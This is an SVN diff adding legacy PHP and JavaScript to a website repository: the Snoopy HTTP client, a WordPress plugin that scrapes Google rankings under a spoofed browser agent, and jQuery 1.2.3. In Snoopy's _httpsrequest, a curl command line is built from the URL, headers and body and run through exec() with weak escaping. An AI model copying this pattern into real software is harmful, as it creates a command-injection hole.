+		// no framed content
+		else
+			$this->results = $results;
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	_httpsrequest
+	Purpose:	go get the https data from the server using curl
+	Input:		$url		the url to fetch
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
+	{
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$headers = array();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		// GET ... header not needed for curl
+		//$headers[] = $http_method." ".$url." ".$this->_httpversion;
+		if(!empty($this->agent))
+			$headers[] = "User-Agent: ".$this->agent;
+		if(!empty($this->host))
+			if(!empty($this->port))
+				$headers[] = "Host: ".$this->host.":".$this->port;
+			else
+				$headers[] = "Host: ".$this->host;
+		if(!empty($this->accept))
+			$headers[] = "Accept: ".$this->accept;
+		if(!empty($this->referer))
+			$headers[] = "Referer: ".$this->referer;
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_str = 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers[] = substr($cookie_str,0,-2);
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers[] = $headerKey.": ".$headerVal;
+		}
+		if(!empty($content_type)) {
+			if ($content_type == "multipart/form-data")
+				$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
+			else
+				$headers[] = "Content-type: $content_type";
+		}
+		if(!empty($body))
+			$headers[] = "Content-length: ".strlen($body);
+		if(!empty($this->user) || !empty($this->pass))
+			$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
+
+		for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
+			$safer_header = strtr( $headers[$curr_header], "\"", " " );
+			$cmdline_params .= " -H \"".$safer_header."\"";
+		}
+
+		if(!empty($body))
+			$cmdline_params .= " -d \"$body\"";
+
+		if($this->read_timeout > 0)
+			$cmdline_params .= " -m ".$this->read_timeout;
+
+		$headerfile = tempnam($temp_dir, "sno");
+
+		$safer_URI = strtr( $URI, "\"", " " ); // strip quotes from the URI to avoid shell access
+		exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);
+
+		if($return)
+		{
+			$this->error = "Error: cURL could not retrieve the document, error $return.";
+			return false;
+		}
+
+
+		$results = implode("\r\n",$results);
+
+		$result_headers = file("$headerfile");
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++)
+		{
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader]))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$result_headers[$currentHeader]))
+				$this->response_code = $result_headers[$currentHeader];
+
+			$this->headers[] = $result_headers[$currentHeader];
+		}
+
+		// check if there is a a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
+		// no framed content
+		else
+			$this->results = $results;
+
+		unlink("$headerfile");
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	setcookies()
+	Purpose:	set cookies for a redirection
+\*======================================================================*/
+
+	function setcookies()
+	{
+		for($x=0; $x<count($this->headers); $x++)
+		{
+		if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match))
+			$this->cookies[$match[1]] = urldecode($match[2]);
+		}
+	}
+
+
+/*======================================================================*\
+	Function:	_check_timeout
+	Purpose:	checks whether timeout has occurred
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _check_timeout($fp)
+	{
+		if ($this->read_timeout > 0) {
+			$fp_status = socket_get_status($fp);
+			if ($fp_status["timed_out"]) {
+				$this->timed_out = true;
+				return true;
+			}
+		}
+		return false;
+	}
+
+/*======================================================================*\
+	Function:	_connect
+	Purpose:	make a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _connect(&$fp)
+	{
+		if(!empty($this->proxy_host) && !empty($this->proxy_port))
+			{
+				$this->_isproxy = true;
+
+				$host = $this->proxy_host;
+				$port = $this->proxy_port;
+			}
+		else
+		{
+			$host = $this->host;
+			$port = $this->port;
+		}
+
+		$this->status = 0;
+
+		if($fp = fsockopen(
+					$host,
+					$port,
+					$errno,
+					$errstr,
+					$this->_fp_timeout
+					))
+		{
+			// socket connection succeeded
+
+			return true;
+		}
+		else
+		{
+			// socket connection failed
+			$this->status = $errno;
+			switch($errno)
+			{
+				case -3:
+					$this->error="socket creation failed (-3)";
+				case -4:
+					$this->error="dns lookup failure (-4)";
+				case -5:
+					$this->error="connection refused or timed out (-5)";
+				default:
+					$this->error="connection failed (".$errno.")";
+			}
+			return false;
+		}
+	}
+/*======================================================================*\
+	Function:	_disconnect
+	Purpose:	disconnect a socket connection
+	Input:		$fp	file pointer
+\*======================================================================*/
+
+	function _disconnect($fp)
+	{
+		return(fclose($fp));
+	}
+
+
+/*======================================================================*\
+	Function:	_prepare_post_body
+	Purpose:	Prepare post body according to encoding type
+	Input:		$formvars  - form variables
+				$formfiles - form upload files
+	Output:		post body
+\*======================================================================*/
+
+	function _prepare_post_body($formvars, $formfiles)
+	{
+		settype($formvars, "array");
+		settype($formfiles, "array");
+		$postdata = '';
+
+		if (count($formvars) == 0 && count($formfiles) == 0)
+			return;
+
+		switch ($this->_submit_type) {
+			case "application/x-www-form-urlencoded":
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= urlencode($key)."[]=".urlencode($cur_val)."&";
+						}
+					} else
+						$postdata .= urlencode($key)."=".urlencode($val)."&";
+				}
+				break;
+
+			case "multipart/form-data":
+				$this->_mime_boundary = "Snoopy".md5(uniqid(microtime()));
+
+				reset($formvars);
+				while(list($key,$val) = each($formvars)) {
+					if (is_array($val) || is_object($val)) {
+						while (list($cur_key, $cur_val) = each($val)) {
+							$postdata .= "--".$this->_mime_boundary."\r\n";
+							$postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n";
+							$postdata .= "$cur_val\r\n";
+						}
+					} else {
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
+						$postdata .= "$val\r\n";
+					}
+				}
+
+				reset($formfiles);
+				while (list($field_name, $file_names) = each($formfiles)) {
+					settype($file_names, "array");
+					while (list(, $file_name) = each($file_names)) {
+						if (!is_readable($file_name)) continue;
+
+						$fp = fopen($file_name, "r");
+						while (!feof($fp)) {
+							$file_content .= fread($fp, filesize($file_name));
+						}
+						fclose($fp);
+						$base_name = basename($file_name);
+
+						$postdata .= "--".$this->_mime_boundary."\r\n";
+						$postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n";
+						$postdata .= "$file_content\r\n";
+					}
+				}
+				$postdata .= "--".$this->_mime_boundary."--\r\n";
+				break;
+		}
+
+		return $postdata;
+	}
+}
+endif;
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/classes.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/classes.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/classes.php	(revision 44)
@@ -0,0 +1,232 @@
+<?php
+/*
+* Position Yourself WP Plugin Classes
+*/
+
+
+class Positioner {
+	var $start;
+	var $end;
+	var $region;
+	var $language;
+	var $meta			= '';
+	var $num_results	= 30;
+	var $queries 		= array();
+}
+
+
+class GoogleQuery {
+	/**
+    * @keyword 		string		The keyword
+	* @region 		string		The Google region (.com, .be, .nl, ...)
+	* @language 	string		The Google language (hl=nl, hl=en, ...)
+    * @query 		string		The Google keyword query string
+    * @url 			string		The Google query url
+    * @position 	int			The position of the domain for this keyword in Google
+	* @options 		string		The Google options (meta=)
+	* @num_results 	int			The Google number of results to keep track of
+	* @num_queries 	int			The number of Google queries
+	* @results 		array		The Google results
+    */
+	var $keyword;
+	var $region;
+	var $language;
+    var $query;
+    var $url			= 'http://www.google.';
+    var $top_position	= 0;
+	var $top_url		= '';
+	var $meta			= '';
+	var $num_results	= 30;
+	var $num_queries	= 0;
+	var $results 		= array();
+	var $matches 		= array();
+	var $competitors	= array();
+	
+    /**
+    * PHP 4 Compatible Constructor
+    */
+    function GoogleQuery($keyword, $region, $language, $num_results = 30, $options = '') {
+		$this->__construct($keyword, $region, $language, $num_results, $options);
+	}
+    
+    /**
+    * PHP 5 Constructor
+    */		
+    function __construct($keyword, $region, $language, $num_results = 30, $meta = '') {
+	
+    	$this->keyword 		= (string) 	trim($keyword);
+		
+		$this->region 		= (string) 	$region;
+		$this->language 	= (string) 	$language;
+		
+		$this->num_results 	= (int) 	$num_results;
+		$this->meta			= (string)	$meta;
+		
+		$this->query		= (string)	( $this->build_query() !== false ) ? $this->build_query() : $this->keyword;
+		$this->url			= (string)	$this->build_url();
+    }
+    
+	/**
+	* Get the results for a certain keyword
+	*/
+	function set_results() {
+		//	fetch the result for the url of this queryObject
+		$parse_result = array();
+		$parse_result = (array)$this->parse($this->url);
+		
+		if ( is_array($parse_result) && count($parse_result) > 0 ) {
+			//	remove first one
+			array_splice( $parse_result, 0, 1);
+			//	remove last two
+			array_splice( $parse_result, (count($parse_result)-2), 2);
+		}
+		
+		if ( count($parse_result) > 0 ) $this->num_queries++;
+		
+		$this->results = (array) $parse_result;
+	}
+	
+	/**
+	* Parses an URL through Snoopy
+	* @return string
+	*/
+	function parse($url) {
+		global $snoopy;
+		
+		$snoopy->results = '';
+		// set browser
+		$snoopy->agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.13)";
+
+		// set a raw-header
+		$snoopy->rawheaders["Pragma"] = "no-cache";
+		// fetch the links of the website
+		if ($snoopy->fetchlinks($url)) {
+			return $snoopy->results;
+		} else {
+			return $snoopy->error;
+		}
+	}
+	
+	
+	/**
+	* Returns a querified representation of a keyword
+	* @return string
+	*/
+    function build_query() {
+		
+		$query_keyword = '';
+		
+		if ($this->keyword) {
+			$keyword = $this->keyword;
+			if (!preg_match('#\"(.*?)\"#i', $keyword) ) {
+				//	split on spaces
+				$keywords 	= explode(' ', $keyword);
+				//	url encode each part
+				$keywords 	= array_map("urlencode", $keywords);
+				//	glue back together with +
+				$query 		= implode("+", $keywords);
+			} else {
+				$query = urlencode($keyword);
+			}
+			return $query;
+		} else 
+			return false;
+    }
+	
+	/**
+	* Returns the url of the Google query
+	* @return string
+	*/
+    function build_url() {
+		
+		$url  = '';
+		$url  = $this->url;
+		$url .= $this->region;
+		$url .= "/ie?hl=". $this->language;
+		$url .= "&q=".$this->query;
+		$url .= "&num=".$this->num_results;
+		$url .= "&sa=N";
+		$url .= "&filter=0";
+		$url .= $this->options;
+
+    	return $url;
+    }
+	
+	/**
+	* Returns matches in an array as an array
+	* @return array
+	*/
+    function find_matches($results, $url) {
+		$matches = array();
+		$matches = preg_grep("#^$url#", $results);
+		
+		if ( count($matches) > 0 ) {
+			$this->matches = $matches;
+
+			return $matches;
+		} else
+			return 0;
+	}
+	
+	/**
+	* Returns highest position in matches
+	* @return int
+	*/
+    function find_top_position() {
+		
+		if ( count($this->matches) > 0 ) {
+			$top = 0;
+			while ($top == 0 && (list($position, $url) = each($this->matches))) {
+				$top 		= (int)((int)$position + 1);
+				$top_url 	= $url;
+			}		
+			$this->top_position = $top;
+			$this->top_url 		= $top_url;
+		}
+	}
+	
+	/**
+	* Returns highest competitor position in competitormatches
+	* @return int
+	*/
+    function find_top_competitor_position($results) {
+		
+		$top["position"]	= 0;
+		$top["url"]			= '';
+		
+		if ( is_array($results) ) {
+		
+			while ( $top["position"] == 0 && (list($position, $url) = each($results) ) ) {
+			
+				$top["position"] 	= (int)((int)$position + 1);
+				$top["url"]			= $url;
+			}
+		}
+		return $top;
+	}
+	
+	/**
+	* Returns a string representation of a query
+	* @return string
+	*/
+    function to_string($display = 'raw') {
+		switch($display) {
+			case "list": {
+				echo "<br />print as list";
+			}
+			break;
+			
+			case "row": {
+				echo "<br />print as table row";
+			}
+			break;
+			
+			case "raw": {
+				pyPre($this);
+			}
+			break;
+		}
+    	//return $string;
+    }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/functions.php	(revision 44)
@@ -0,0 +1,82 @@
+<?php
+/*
+* Position Yourself WP Plugin Functions
+*/
+
+
+/**
+* Trims all array elements
+* @return array
+*/
+if ( !function_exists('pyTrimArray') ) :
+function pyTrimArray($totrim) {
+	if (is_array($totrim)) {
+		$totrim = array_map("trim", $totrim);
+	} else {
+		$totrim = trim($totrim);
+	}
+	return $totrim;
+}
+endif;
+
+/*
+* Output a clean version of array / object
+*/
+if ( !function_exists('pyPre') ) :
+function pyPre($array) {
+	echo "<pre>";
+	print_r($array);
+	echo "</pre>";
+}
+endif;
+
+
+//Author Binu.v.Pillai
+function diffTime($bigTime, $smallTime) {
+//input format hh:mm:ss
+
+	list($h1, $m1, $s1) = split(":", $bigTime);
+	list($h2, $m2, $s2) = split(":", $smallTime);
+   
+	$second1 = $s1 + ( $h1*3600 ) + ( $m1*60 );//converting it into seconds
+	$second2 = $s2 + ( $h2*3600 ) + ( $m2*60 );
+
+	if ( $second1 == $second2 ) {
+		$resultTime = "00:00:00";
+		return $resultTime;
+		exit();
+	}
+	if ( $second1 < $second2 ) {
+		$second1 = $second1 + ( 24*60*60 );//adding 24 hours to it.
+	}
+	$second3 = $second1 - $second2;
+	//print $second3;
+	if ( $second3 == 0 ) {
+		$h3 = 0;
+	} else {
+		$h3 = floor( $second3/3600 );//find total hours
+	}
+	
+	$remSecond = $second3 - ( $h3*3600 );//get remaining seconds
+	if ( $remSecond == 0 ) {
+		$m3 = 0;
+	} else {
+		$m3 = floor( $remSecond / 60);// for finding remaining  minutes
+	}
+	   
+	$s3 = $remSecond - ( 60*$m3 );
+	if ( $h3 == 0 ) {
+		$h3 = "00";
+	}
+	if ( $m3 == 0 ) {
+		$m3="00";
+	}
+	if ( $s3 == 0 ) {
+		$s3="00";
+	}
+	   
+	$resultTime = "$h3:$m3:$s3";
+
+	return $resultTime;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery-1.2.3.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery-1.2.3.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery-1.2.3.js	(revision 44)
@@ -0,0 +1,3408 @@
+(function(){
+/*
+ * jQuery 1.2.3 - New Wave Javascript
+ *
+ * Copyright (c) 2008 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2008-02-06 00:21:25 -0500 (Wed, 06 Feb 2008) $
+ * $Rev: 4663 $
+ */
+
+// Map over jQuery in case of overwrite
+if ( window.jQuery )
+	var _jQuery = window.jQuery;
+
+var jQuery = window.jQuery = function( selector, context ) {
+	// The jQuery object is actually just the init constructor 'enhanced'
+	return new jQuery.prototype.init( selector, context );
+};
+
+// Map over the $ in case of overwrite
+if ( window.$ )
+	var _$ = window.$;
+	
+// Map the jQuery namespace to the '$' one
+window.$ = jQuery;
+
+// A simple way to check for HTML strings or ID strings
+// (both of which we optimize for)
+var quickExpr = /^[^<]*(<(.|\s)+>)[^>]*$|^#(\w+)$/;
+
+// Is it a simple selector
+var isSimple = /^.[^:#\[\.]*$/;
+
+jQuery.fn = jQuery.prototype = {
+	init: function( selector, context ) {
+		// Make sure that a selection was provided
+		selector = selector || document;
+
+		// Handle $(DOMElement)
+		if ( selector.nodeType ) {
+			this[0] = selector;
+			this.length = 1;
+			return this;
+
+		// Handle HTML strings
+		} else if ( typeof selector == "string" ) {
+			// Are we dealing with HTML string or an ID?
+			var match = quickExpr.exec( selector );
+
+			// Verify a match, and that no context was specified for #id
+			if ( match && (match[1] || !context) ) {
+
+				// HANDLE: $(html) -> $(array)
+				if ( match[1] )
+					selector = jQuery.clean( [ match[1] ], context );
+
+				// HANDLE: $("#id")
+				else {
+					var elem = document.getElementById( match[3] );
+
+					// Make sure an element was located
+					if ( elem )
+						// Handle the case where IE and Opera return items
+						// by name instead of ID
+						if ( elem.id != match[3] )
+							return jQuery().find( selector );
+
+						// Otherwise, we inject the element directly into the jQuery object
+						else {
+							this[0] = elem;
+							this.length = 1;
+							return this;
+						}
+
+					else
+						selector = [];
+				}
+
+			// HANDLE: $(expr, [context])
+			// (which is just equivalent to: $(content).find(expr)
+			} else
+				return new jQuery( context ).find( selector );
+
+		// HANDLE: $(function)
+		// Shortcut for document ready
+		} else if ( jQuery.isFunction( selector ) )
+			return new jQuery( document )[ jQuery.fn.ready ? "ready" : "load" ]( selector );
+
+		return this.setArray(
+			// HANDLE: $(array)
+			selector.constructor == Array && selector ||
+
+			// HANDLE: $(arraylike)
+			// Watch for when an array-like object, contains DOM nodes, is passed in as the selector
+			(selector.jquery || selector.length && selector != window && !selector.nodeType && selector[0] != undefined && selector[0].nodeType) && jQuery.makeArray( selector ) ||
+
+			// HANDLE: $(*)
+			[ selector ] );
+	},
+	
+	// The current version of jQuery being used
+	jquery: "1.2.3",
+
+	// The number of elements contained in the matched element set
+	size: function() {
+		return this.length;
+	},
+	
+	// The number of elements contained in the matched element set
+	length: 0,
+
+	// Get the Nth element in the matched element set OR
+	// Get the whole matched element set as a clean array
+	get: function( num ) {
+		return num == undefined ?
+
+			// Return a 'clean' array
+			jQuery.makeArray( this ) :
+
+			// Return just the object
+			this[ num ];
+	},
+	
+	// Take an array of elements and push it onto the stack
+	// (returning the new matched element set)
+	pushStack: function( elems ) {
+		// Build a new jQuery matched element set
+		var ret = jQuery( elems );
+
+		// Add the old object onto the stack (as a reference)
+		ret.prevObject = this;
+
+		// Return the newly-formed element set
+		return ret;
+	},
+	
+	// Force the current matched set of elements to become
+	// the specified array of elements (destroying the stack in the process)
+	// You should use pushStack() in order to do this, but maintain the stack
+	setArray: function( elems ) {
+		// Resetting the length to 0, then using the native Array push
+		// is a super-fast way to populate an object with array-like properties
+		this.length = 0;
+		Array.prototype.push.apply( this, elems );
+		
+		return this;
+	},
+
+	// Execute a callback for every element in the matched set.
+	// (You can seed the arguments with an array of args, but this is
+	// only used internally.)
+	each: function( callback, args ) {
+		return jQuery.each( this, callback, args );
+	},
+
+	// Determine the position of an element within 
+	// the matched set of elements
+	index: function( elem ) {
+		var ret = -1;
+
+		// Locate the position of the desired element
+		this.each(function(i){
+			if ( this == elem )
+				ret = i;
+		});
+
+		return ret;
+	},
+
+	attr: function( name, value, type ) {
+		var options = name;
+		
+		// Look for the case where we're accessing a style value
+		if ( name.constructor == String )
+			if ( value == undefined )
+				return this.length && jQuery[ type || "attr" ]( this[0], name ) || undefined;
+
+			else {
+				options = {};
+				options[ name ] = value;
+			}
+		
+		// Check to see if we're setting style values
+		return this.each(function(i){
+			// Set all the styles
+			for ( name in options )
+				jQuery.attr(
+					type ?
+						this.style :
+						this,
+					name, jQuery.prop( this, options[ name ], type, i, name )
+				);
+		});
+	},
+
+	css: function( key, value ) {
+		// ignore negative width and height values
+		if ( (key == 'width' || key == 'height') && parseFloat(value) < 0 )
+			value = undefined;
+		return this.attr( key, value, "curCSS" );
+	},
+
+	text: function( text ) {
+		if ( typeof text != "object" && text != null )
+			return this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );
+
+		var ret = "";
+
+		jQuery.each( text || this, function(){
+			jQuery.each( this.childNodes, function(){
+				if ( this.nodeType != 8 )
+					ret += this.nodeType != 1 ?
+						this.nodeValue :
+						jQuery.fn.text( [ this ] );
+			});
+		});
+
+		return ret;
+	},
+
+	wrapAll: function( html ) {
+		if ( this[0] )
+			// The elements to wrap the target around
+			jQuery( html, this[0].ownerDocument )
+				.clone()
+				.insertBefore( this[0] )
+				.map(function(){
+					var elem = this;
+
+					while ( elem.firstChild )
+						elem = elem.firstChild;
+
+					return elem;
+				})
+				.append(this);
+
+		return this;
+	},
+
+	wrapInner: function( html ) {
+		return this.each(function(){
+			jQuery( this ).contents().wrapAll( html );
+		});
+	},
+
+	wrap: function( html ) {
+		return this.each(function(){
+			jQuery( this ).wrapAll( html );
+		});
+	},
+
+	append: function() {
+		return this.domManip(arguments, true, false, function(elem){
+			if (this.nodeType == 1)
+				this.appendChild( elem );
+		});
+	},
+
+	prepend: function() {
+		return this.domManip(arguments, true, true, function(elem){
+			if (this.nodeType == 1)
+				this.insertBefore( elem, this.firstChild );
+		});
+	},
+	
+	before: function() {
+		return this.domManip(arguments, false, false, function(elem){
+			this.parentNode.insertBefore( elem, this );
+		});
+	},
+
+	after: function() {
+		return this.domManip(arguments, false, true, function(elem){
+			this.parentNode.insertBefore( elem, this.nextSibling );
+		});
+	},
+
+	end: function() {
+		return this.prevObject || jQuery( [] );
+	},
+
+	find: function( selector ) {
+		var elems = jQuery.map(this, function(elem){
+			return jQuery.find( selector, elem );
+		});
+
+		return this.pushStack( /[^+>] [^+>]/.test( selector ) || selector.indexOf("..") > -1 ?
+			jQuery.unique( elems ) :
+			elems );
+	},
+
+	clone: function( events ) {
+		// Do the clone
+		var ret = this.map(function(){
+			if ( jQuery.browser.msie && !jQuery.isXMLDoc(this) ) {
+				// IE copies events bound via attachEvent when
+				// using cloneNode. Calling detachEvent on the
+				// clone will also remove the events from the orignal
+				// In order to get around this, we use innerHTML.
+				// Unfortunately, this means some modifications to 
+				// attributes in IE that are actually only stored 
+				// as properties will not be copied (such as the
+				// the name attribute on an input).
+				var clone = this.cloneNode(true),
+					container = document.createElement("div");
+				container.appendChild(clone);
+				return jQuery.clean([container.innerHTML])[0];
+			} else
+				return this.cloneNode(true);
+		});
+
+		// Need to set the expando to null on the cloned set if it exists
+		// removeData doesn't work here, IE removes it from the original as well
+		// this is primarily for IE but the data expando shouldn't be copied over in any browser
+		var clone = ret.find("*").andSelf().each(function(){
+			if ( this[ expando ] != undefined )
+				this[ expando ] = null;
+		});
+		
+		// Copy the events from the original to the clone
+		if ( events === true )
+			this.find("*").andSelf().each(function(i){
+				if (this.nodeType == 3)
+					return;
+				var events = jQuery.data( this, "events" );
+
+				for ( var type in events )
+					for ( var handler in events[ type ] )
+						jQuery.event.add( clone[ i ], type, events[ type ][ handler ], events[ type ][ handler ].data );
+			});
+
+		// Return the cloned set
+		return ret;
+	},
+
+	filter: function( selector ) {
+		return this.pushStack(
+			jQuery.isFunction( selector ) &&
+			jQuery.grep(this, function(elem, i){
+				return selector.call( elem, i );
+			}) ||
+
+			jQuery.multiFilter( selector, this ) );
+	},
+
+	not: function( selector ) {
+		if ( selector.constructor == String )
+			// test special case where just one selector is passed in
+			if ( isSimple.test( selector ) )
+				return this.pushStack( jQuery.multiFilter( selector, this, true ) );
+			else
+				selector = jQuery.multiFilter( selector, this );
+
+		var isArrayLike = selector.length && selector[selector.length - 1] !== undefined && !selector.nodeType;
+		return this.filter(function() {
+			return isArrayLike ? jQuery.inArray( this, selector ) < 0 : this != selector;
+		});
+	},
+
+	add: function( selector ) {
+		return !selector ? this : this.pushStack( jQuery.merge( 
+			this.get(),
+			selector.constructor == String ? 
+				jQuery( selector ).get() :
+				selector.length != undefined && (!selector.nodeName || jQuery.nodeName(selector, "form")) ?
+					selector : [selector] ) );
+	},
+
+	is: function( selector ) {
+		return selector ?
+			jQuery.multiFilter( selector, this ).length > 0 :
+			false;
+	},
+
+	hasClass: function( selector ) {
+		return this.is( "." + selector );
+	},
+	
+	val: function( value ) {
+		if ( value == undefined ) {
+
+			if ( this.length ) {
+				var elem = this[0];
+
+				// We need to handle select boxes special
+				if ( jQuery.nodeName( elem, "select" ) ) {
+					var index = elem.selectedIndex,
+						values = [],
+						options = elem.options,
+						one = elem.type == "select-one";
+					
+					// Nothing was selected
+					if ( index < 0 )
+						return null;
+
+					// Loop through all the selected options
+					for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {
+						var option = options[ i ];
+
+						if ( option.selected ) {
+							// Get the specifc value for the option
+							value = jQuery.browser.msie && !option.attributes.value.specified ? option.text : option.value;
+							
+							// We don't need an array for one selects
+							if ( one )
+								return value;
+							
+							// Multi-Selects return an array
+							values.push( value );
+						}
+					}
+					
+					return values;
+					
+				// Everything else, we just grab the value
+				} else
+					return (this[0].value || "").replace(/\r/g, "");
+
+			}
+
+			return undefined;
+		}
+
+		return this.each(function(){
+			if ( this.nodeType != 1 )
+				return;
+
+			if ( value.constructor == Array && /radio|checkbox/.test( this.type ) )
+				this.checked = (jQuery.inArray(this.value, value) >= 0 ||
+					jQuery.inArray(this.name, value) >= 0);
+
+			else if ( jQuery.nodeName( this, "select" ) ) {
+				var values = value.constructor == Array ?
+					value :
+					[ value ];
+
+				jQuery( "option", this ).each(function(){
+					this.selected = (jQuery.inArray( this.value, values ) >= 0 ||
+						jQuery.inArray( this.text, values ) >= 0);
+				});
+
+				if ( !values.length )
+					this.selectedIndex = -1;
+
+			} else
+				this.value = value;
+		});
+	},
+	
+	html: function( value ) {
+		return value == undefined ?
+			(this.length ?
+				this[0].innerHTML :
+				null) :
+			this.empty().append( value );
+	},
+
+	replaceWith: function( value ) {
+		return this.after( value ).remove();
+	},
+
+	eq: function( i ) {
+		return this.slice( i, i + 1 );
+	},
+
+	slice: function() {
+		return this.pushStack( Array.prototype.slice.apply( this, arguments ) );
+	},
+
+	map: function( callback ) {
+		return this.pushStack( jQuery.map(this, function(elem, i){
+			return callback.call( elem, i, elem );
+		}));
+	},
+
+	andSelf: function() {
+		return this.add( this.prevObject );
+	},
+
+	data: function( key, value ){
+		var parts = key.split(".");
+		parts[1] = parts[1] ? "." + parts[1] : "";
+
+		if ( value == null ) {
+			var data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]);
+			
+			if ( data == undefined && this.length )
+				data = jQuery.data( this[0], key );
+
+			return data == null && parts[1] ?
+				this.data( parts[0] ) :
+				data;
+		} else
+			return this.trigger("setData" + parts[1] + "!", [parts[0], value]).each(function(){
+				jQuery.data( this, key, value );
+			});
+	},
+
+	removeData: function( key ){
+		return this.each(function(){
+			jQuery.removeData( this, key );
+		});
+	},
+	
+	domManip: function( args, table, reverse, callback ) {
+		var clone = this.length > 1, elems; 
+
+		return this.each(function(){
+			if ( !elems ) {
+				elems = jQuery.clean( args, this.ownerDocument );
+
+				if ( reverse )
+					elems.reverse();
+			}
+
+			var obj = this;
+
+			if ( table && jQuery.nodeName( this, "table" ) && jQuery.nodeName( elems[0], "tr" ) )
+				obj = this.getElementsByTagName("tbody")[0] || this.appendChild( this.ownerDocument.createElement("tbody") );
+
+			var scripts = jQuery( [] );
+
+			jQuery.each(elems, function(){
+				var elem = clone ?
+					jQuery( this ).clone( true )[0] :
+					this;
+
+				// execute all scripts after the elements have been injected
+				if ( jQuery.nodeName( elem, "script" ) ) {
+					scripts = scripts.add( elem );
+				} else {
+					// Remove any inner scripts for later evaluation
+					if ( elem.nodeType == 1 )
+						scripts = scripts.add( jQuery( "script", elem ).remove() );
+
+					// Inject the elements into the document
+					callback.call( obj, elem );
+				}
+			});
+
+			scripts.each( evalScript );
+		});
+	}
+};
+
+// Give the init function the jQuery prototype for later instantiation
+jQuery.prototype.init.prototype = jQuery.prototype;
+
+function evalScript( i, elem ) {
+	if ( elem.src )
+		jQuery.ajax({
+			url: elem.src,
+			async: false,
+			dataType: "script"
+		});
+
+	else
+		jQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || "" );
+
+	if ( elem.parentNode )
+		elem.parentNode.removeChild( elem );
+}
+
+jQuery.extend = jQuery.fn.extend = function() {
+	// copy reference to target object
